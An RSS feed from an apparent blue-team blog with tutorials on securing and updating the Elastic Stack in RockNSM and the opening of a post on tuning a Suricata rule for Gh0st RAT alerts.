<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>HuntOps</title>
        <description></description>
        <link>https://huntops.blue/</link>
        <atom:link href="https://huntops.blue/feed.xml" rel="self" type="application/rss+xml"/>
        <pubDate>Mon, 10 Aug 2020 17:23:33 +0000</pubDate>
        <lastBuildDate>Mon, 10 Aug 2020 17:23:33 +0000</lastBuildDate>
        <generator>Jekyll v3.9.0</generator>
        
            <item>
                <title>8/02/2020 - Securing the Elastic Stack in RockNSM</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;8022020---securing-the-elastic-stack-in-rocknsm&quot;&gt;8/02/2020 - Securing the Elastic Stack in RockNSM&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/03/11/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As the Elastic Stack continues to release features for their Security App, they have enforced a requirement to have a secure configuration to take advantage of the finer points of this app; namely the &lt;a href=&quot;https://www.elastic.co/guide/en/siem/guide/current/detection-engine-overview.html&quot;&gt;Detection Engine&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Responding to multiple requests from the community, I wanted to drop a quick configuration guide on how to deploy the security configuration needed to allow access to the Detection Engine in the Security app (formerly the SIEM app).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caveat:&lt;/strong&gt; Click to PCAP (Docket) doesn’t work quite like it used to after you use this guide. It tries to send everything over port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5601&lt;/code&gt;. We’re working on a fix to this, but for now, if you do this, you’ll need to remove the port when you’re running Docket.&lt;/p&gt;

&lt;p&gt;Additionally, &lt;strong&gt;you will have an outage while we’re configuring security, so plan accordingly.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Obviously, you need to have a ROCK deployment and I recommend having the most updated version of the Elastic Stack:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://huntops.blue/rock-install.html&quot;&gt;ROCK Installation Guide&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://huntops.blue/2020/05/18/update-elastic-stack.html&quot;&gt;Updating the Elastic Stack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s check to make sure that the sensor is healthy with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rockctl status&lt;/code&gt;. If you have any services that are in a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;failed&lt;/code&gt; state, try restarting them with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo systemctl restart [service]&lt;/code&gt;. Of note, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STENOGRAPHER&lt;/code&gt; will show itself as being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;active (exited)&lt;/code&gt;. This is normal. If you look down further, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;STENOGRAPHER@[INTERFACE] active (running)&lt;/code&gt; (in my case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DUMMY0&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rockctl status
ZEEK:
    Active: active (running) since Sun 2020-08-02 13:56:10 UTC; 59s ago
STENOGRAPHER:
    Active: active (exited) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
DOCKET:
    Active: active (running) since Sun 2020-08-02 13:55:38 UTC; 1min 31s ago
SURICATA:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
ELASTICSEARCH:
    Active: active (running) since Sun 2020-08-02 13:56:45 UTC; 24s ago
KIBANA:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
ZOOKEEPER:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
KAFKA:
    Active: active (running) since Sun 2020-08-02 13:55:43 UTC; 1min 26s ago
LIGHTTPD:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
FSF:
    Active: active (running) since Sun 2020-08-02 13:55:41 UTC; 1min 29s ago
FILEBEAT:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
LOGSTASH:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
STENOGRAPHER@DUMMY0:
    Active: active (running) since Sun 2020-08-02 13:55:40 UTC; 1min 29s ago
DOCKET-CELERY-IO:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
DOCKET-CELERY-QUERY:
    Active: active (running) since Sun 2020-08-02 13:55:37 UTC; 1min 32s ago
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next, we’re going to make some changes to Elasticsearch, Kibana, and Logstash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Elasticsearch&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s check out to see what version we’re running by curling our system on the Elasticsearch port, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9200&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl localhost:9200
{
  &quot;name&quot; : &quot;rock-2-6&quot;,
  &quot;cluster_name&quot; : &quot;rocknsm&quot;,
  &quot;cluster_uuid&quot; : &quot;hSatkUXKS-uAT9ypnh1n8g&quot;,
  &quot;version&quot; : {
    &quot;number&quot; : &quot;7.8.1&quot;,
    &quot;build_flavor&quot; : &quot;default&quot;,
    &quot;build_type&quot; : &quot;rpm&quot;,
    &quot;build_hash&quot; : &quot;b5ca9c58fb664ca8bf9e4057fc229b3396bf3a89&quot;,
    &quot;build_date&quot; : &quot;2020-07-21T16:40:44.668009Z&quot;,
    &quot;build_snapshot&quot; : false,
    &quot;lucene_version&quot; : &quot;8.5.1&quot;,
    &quot;minimum_wire_compatibility_version&quot; : &quot;6.8.0&quot;,
    &quot;minimum_index_compatibility_version&quot; : &quot;6.0.0-beta1&quot;
  },
  &quot;tagline&quot; : &quot;You Know, for Search&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see that we’re on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.8.1&lt;/code&gt;, which at the time of this writing, is the most current version.&lt;/p&gt;

&lt;p&gt;Next let’s make a change to the Elasticsearch configuration file and add the following to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/elasticsearch/elasticsearch.yml&lt;/code&gt; (remember to open this file w/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;)&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xpack.security.enabled: true
xpack.security.authc.api_key.enabled: true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After you’ve made this change, restart Elasticsearch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo systemctl restart elasticsearch&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When Elasticsearch comes back up and we try to curl it again, we get a different response telling us we need to authenticate - we’re on the right track.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl localhost:9200 | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   403  100   403    0     0  53497      0 --:--:-- --:--:-- --:--:-- 57571
{
  &quot;error&quot;: {
    &quot;root_cause&quot;: [
      {
        &quot;type&quot;: &quot;security_exception&quot;,
        &quot;reason&quot;: &quot;missing authentication credentials for REST request [/]&quot;,
        &quot;header&quot;: {
          &quot;WWW-Authenticate&quot;: [
            &quot;ApiKey&quot;,
            &quot;Basic realm=\&quot;security\&quot; charset=\&quot;UTF-8\&quot;&quot;
          ]
        }
      }
    ],
    &quot;type&quot;: &quot;security_exception&quot;,
    &quot;reason&quot;: &quot;missing authentication credentials for REST request [/]&quot;,
    &quot;header&quot;: {
      &quot;WWW-Authenticate&quot;: [
        &quot;ApiKey&quot;,
        &quot;Basic realm=\&quot;security\&quot; charset=\&quot;UTF-8\&quot;&quot;
      ]
    }
  },
  &quot;status&quot;: 401
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next we need to make come credential pairs.&lt;/p&gt;

&lt;p&gt;You can let Elasticsearch generate your own credential pairs OR you can set them yourself. If you prefer to let Elastisearch create the passphrases for you, just remove the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;interactive&lt;/code&gt; operator below.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo /usr/share/elasticsearch/bin/elasticsearch-setup-passwords interactive
Initiating the setup of passwords for reserved users elastic,apm_system,kibana,kibana_system,logstash_system,beats_system,remote_monitoring_user.
You will be prompted to enter passwords as the process progresses.
Please confirm that you would like to continue [y/N]y

Enter password for [elastic]:
Reenter password for [elastic]:
Enter password for [apm_system]:
Reenter password for [apm_system]:
Enter password for [kibana_system]:
Reenter password for [kibana_system]:
Enter password for [logstash_system]:
Reenter password for [logstash_system]:
Enter password for [beats_system]:
Reenter password for [beats_system]:
Enter password for [remote_monitoring_user]:
Reenter password for [remote_monitoring_user]:
Changed password for user [apm_system]
Changed password for user [kibana_system]
Changed password for user [kibana]
Changed password for user [logstash_system]
Changed password for user [beats_system]
Changed password for user [remote_monitoring_user]
Changed password for user [elastic]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The passphrases we need are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elastic&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kibana_system&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash_system&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Logstash&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s check out to see what version we’re running the following command:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/share/logstash/bin/logstash -V
logstash 7.8.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see that we’re on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.8.1&lt;/code&gt;, which at the time of this writing, is the most current version.&lt;/p&gt;

&lt;p&gt;We need to add the username and passphrases we created above to the Logstash configuration in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/logstash/conf.d/logstash-9999-output-elasticsearch.conf&lt;/code&gt; (remember to open this file w/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;For each block of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elasticsearch&lt;/code&gt;, add the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user =&amp;gt; elastic&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;password =&amp;gt; &lt;/code&gt; fields. There will be several.&lt;/p&gt;

&lt;p&gt;Example&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;output {
  # Requires event module and category
  if [event][module] and [event][category] {

    # Requires event dataset
    if [event][dataset] {
      elasticsearch {
                    hosts =&amp;gt; [&quot;127.0.0.1:9200&quot;]
                    user =&amp;gt; elastic
                    password =&amp;gt; password
                    index =&amp;gt; &quot;ecs-%{[event][module]}-%{[event][category]}-%{+YYYY.MM.dd}&quot;
          manage_template =&amp;gt; false
      }
    }
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/logstash/logstash.yml&lt;/code&gt; and uncomment out (replace with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash_system&lt;/code&gt; passphrase you created)&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;xpack.monitoring.elasticsearch.username: &quot;logstash_system&quot;
xpack.monitoring.elasticsearch.password: &quot;password&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s test your configuration&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo -u logstash -g logstash /usr/share/logstash/bin/logstash &quot;--path.settings&quot; &quot;/etc/logstash&quot; -t
Configuration OK
[2020-08-02T14:38:16,728][INFO ][logstash.runner] Using config.test_and_exit mode. Config Validation Result: OK. Exiting Logstash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, let’s restart Logstash with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo systemctl restart logstash&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kibana&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Let’s check out to see what version we’re running by curling Kibana’s API on port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5601&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl -s http://localhost:5601/api/status | jq .version.number
&quot;7.8.1&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;We can see that we’re on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.8.1&lt;/code&gt;, which at the time of this writing, is the most current version.&lt;/p&gt;

&lt;p&gt;Next let’s make a change to the Kibana configuration file and add the following to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/kibana/kibana.yml&lt;/code&gt; (remember to open this file w/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xpack.encryptedSavedObjects.encryptionKey&lt;/code&gt; just needs to be a 32-bit value, anything will work. For &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elasticsearch.password&lt;/code&gt;, enter the passphrase you created (or Elasticsearch created for you) in the previous step.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;elasticsearch.username: &quot;kibana_system&quot;
elasticsearch.password: &quot;password&quot;
xpack.security.enabled: true
xpack.encryptedSavedObjects.encryptionKey: &quot;lkajsdflkjadfoijeoiwerjlkdflkjasdfl;kkjs&quot;
server.host: 0.0.0.0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After you’ve made this change, restart Kibana &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo systemctl restart kibana&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;While you wait for Kibana to come up, we need to make a change to the firewall to allow us to access Kibana over it’s native port of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5601&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo firewall-cmd --add-port=5601/tcp --permanent
sudo firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Check to make sure you can get to Kibana in your browser &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://rock-ip:5601&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/8-2-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From here you’ll log on with the username of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;elastic&lt;/code&gt; and the passphrase you created above for that account.&lt;/p&gt;

&lt;p&gt;Once you’re logged into Kibana, we need to make another user so that lighttpd doesn’t clash with Kibana - this is hacky, once we figure out a better way, we’ll update this.&lt;/p&gt;

&lt;p&gt;On the sensor, open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/KIBANA_CREDS.README&lt;/code&gt;, that has a username and passphrase, we’ll need that in a minute.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;In Kibana, click on the Kibana Dock panel (hamburger menu in the top left)&lt;/li&gt;
  &lt;li&gt;Click on Stack Management&lt;/li&gt;
  &lt;li&gt;Click on Users&lt;/li&gt;
  &lt;li&gt;Create User&lt;/li&gt;
  &lt;li&gt;Name the user the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;U&lt;/code&gt; and the passphrase the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;P&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KIBANA_CREDS.README&lt;/code&gt; - you’re creating a user in Kibana that has the same username and passphrase as the one in lighttpd&lt;/li&gt;
  &lt;li&gt;Give this user the role of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;superuser&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Log out and then log in with this account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&quot;/images/8-2-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Finally, let’s shut down port &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5601&lt;/code&gt; that we needed temporarily&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo firewall-cmd --remove-port=5601/tcp --permanent
sudo firewall-cmd --reload
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Test Data&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Lets test the sample data listed at the top of the page and replay it to test everything (instructions at the top).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/8-2-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/8-2-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looks good, and happy hunting!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Closing Thoughts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you’re looking for new detection rules, check out &lt;a href=&quot;https://www.elastic.co/blog/elastic-security-opens-public-detection-rules-repo&quot;&gt;Elastic’s public repository&lt;/a&gt;. If you make a rule you like, please feel free to contribute it to the &lt;a href=&quot;https://github.com/elastic/detection-rules&quot;&gt;project&lt;/a&gt;!&lt;/p&gt;
</description>
                <pubDate>Sun, 02 Aug 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/08/02/securing-rocknsm.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/08/02/securing-rocknsm.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>5/18/2020 - Update The Elastic Stack in ROCK</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;5182020---update-the-elastic-stack-in-rock&quot;&gt;5/18/2020 - Update The Elastic Stack in ROCK&lt;/h1&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://malware-traffic-analysis.net/2020/03/11/index.html&quot;&gt;Packets&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md#getting-data-into-rock&quot;&gt;Getting Data into ROCK&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I am still digging out from some time away, but I wanted to drop a quick note on the process to update the Elastic Stack to 7.7, which includes a new Cases feature in the SIEM.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you’re interested in the full release notes for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.7.0&lt;/code&gt;, you can check them out over &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.7.0.html&quot;&gt;here&lt;/a&gt;, but I wanted to highlight the new &lt;a href=&quot;https://www.elastic.co/guide/en/siem/guide/7.7/cases-overview.html&quot;&gt;Cases feature.&lt;/a&gt;. It’s still Beta, but it’s a good start and with Elastic’s aggressive release cycle, I expect this to mature rapidly.&lt;/p&gt;

&lt;p&gt;ROCK &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2.5.1&lt;/code&gt; comes with Elastic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.6.0&lt;/code&gt;, so while the ROCK project does the complete testing of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.7.0&lt;/code&gt; (which came out on May 13, 2020), we can do the update manually. First, get ROCK installed as &lt;a href=&quot;https://github.com/huntops-blue/huntops-blue.github.io/blob/master/rock-install.md&quot;&gt;documented here&lt;/a&gt;. Next, let’s update the stack.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Before we get started, yes I am a contributor to the ROCK project and I work for Elastic. I have only done limited testing with 7.7.0 and ROCK, so please don’t do this on a production system. I speak for neither project or company.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s enable the Elastic repo.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo vi /etc/yum.repos.d/elastic.repo
# anywhere in the file
enabled=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, let’s update the stack.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sudo systemctl stop kibana filebeat logstash elasticsearch
sudo yum update elasticsearch logstash filebeat kibana -y
sudo systemctl daemon-reload
sudo systemctl start elasticsearch logstash filebeat kibana
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s test to make sure the update worked with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl localhost:9200&lt;/code&gt; and you should see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7.7.0&lt;/code&gt; as the new Elasticsearch version.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl localhost:9200
{
  &quot;name&quot; : &quot;rock&quot;,
  &quot;cluster_name&quot; : &quot;rocknsm&quot;,
  &quot;cluster_uuid&quot; : &quot;OPJDLfhjRw2BlSJU-Q3Ydw&quot;,
  &quot;version&quot; : {
    &quot;number&quot; : &quot;7.7.0&quot;,
    &quot;build_flavor&quot; : &quot;default&quot;,
    &quot;build_type&quot; : &quot;rpm&quot;,
    &quot;build_hash&quot; : &quot;81a1e9eda8e6183f5237786246f6dced26a10eaf&quot;,
    &quot;build_date&quot; : &quot;2020-05-12T02:01:37.602180Z&quot;,
    &quot;build_snapshot&quot; : false,
    &quot;lucene_version&quot; : &quot;8.5.1&quot;,
    &quot;minimum_wire_compatibility_version&quot; : &quot;6.8.0&quot;,
    &quot;minimum_index_compatibility_version&quot; : &quot;6.0.0-beta1&quot;
  },
  &quot;tagline&quot; : &quot;You Know, for Search&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Now that we’ve updated the stack, we can move on to explore Cases.&lt;/p&gt;

&lt;p&gt;For this, we can just use some packets from the Hancitor malware I discussed a bit ago (see the packets above).&lt;/p&gt;

&lt;p&gt;First, let’s get to the Network section of the SIEM, and then to the External Alerts. It’s a &lt;em&gt;bit&lt;/em&gt; clunky to show how to get there with screenshots, but click on the SIEM app on the left, then Network, and then about 1/2 down the page, there’s the “External Alerts” tab (you may want to customize what is displayed in the External Alerts - I usually click on the hamburger menu and add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rule.description&lt;/code&gt; at a minimum).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s grab one of the events, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET MALWARE Fareit/Pony Downloader Checkin 2&lt;/code&gt; and click and drag it onto the “Timeline” sidecar on the right-side of the screen. Click on the Timeline to open it, drop down the events, poke around, give it a name, etc.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have a Timeline event, let’s check out the Cases tab. Now, integration with 3rd party systems isn’t part of the Basic License, but you can still do some basic case management.&lt;/p&gt;

&lt;p&gt;Give the case a name, a few tags that make sense, and add the Timeline we just created. Of note, everything is in Markdown, so the syntax is standard and doesn’t have a sharp learning curve…not to mention sidestepping the formatting silliness you get when you copy/pasta into document editors.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now you’ve got an open case and you can make notes. When you’re done, you can close the case.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/5-18-20-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Again, it’s still beta right now, so there is just basic functionality; but with Elastic releasing huge updates every 9-10 weeks, getting familiar with the basics will get you that much further along when the features start rolling in.&lt;/p&gt;

&lt;p&gt;Until next time, cheers and happy hunting!&lt;/p&gt;
</description>
                <pubDate>Mon, 18 May 2020 00:00:00 +0000</pubDate>
                <link>https://huntops.blue/2020/05/18/update-elastic-stack.html</link>
                <guid isPermaLink="true">https://huntops.blue/2020/05/18/update-elastic-stack.html</guid>
                
                <category>feed</category>
                
                
            </item>
        
            <item>
                <title>4/30/2020 - Tuning Suricata for Gh0st RAT</title>
                <author>Andrew D. Pease</author>
                <description>&lt;h1 id=&quot;4302020---tuning-suricata-for-gh0st-rat&quot;&gt;4/30/2020 - Tuning Suricata for Gh0st RAT&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;5/6/2020 - Update: I have submitted this FP and correction suggestion to Emerging Threats&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;No packets to share this time as this was from a real hunt op.&lt;/p&gt;

&lt;p&gt;I had a bit of a scare around a RAT and wanted to walk through the tuning process because I think it’s a task for thrunters…if it &lt;em&gt;should&lt;/em&gt; be a task for us is another story, but we need to eliminate noise on the fly, so it’s an important skill.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/thrunting-detection-engineering.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;First off, you can see where some tuning has been done in the identification of network noise, this is part of the process when doing IR - identifying false positives and network weirdness/oddities.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/4-30-20-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After some wide swath tuning, we had some hits for some Emerging Threats rules, which is more interesting. Of specific note, that I spent some time on, was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET TROJAN Backdoor family PCRat/Gh0st CnC traffic&lt;/code&gt; and it was quite an exciting dance.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/4-30-20-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

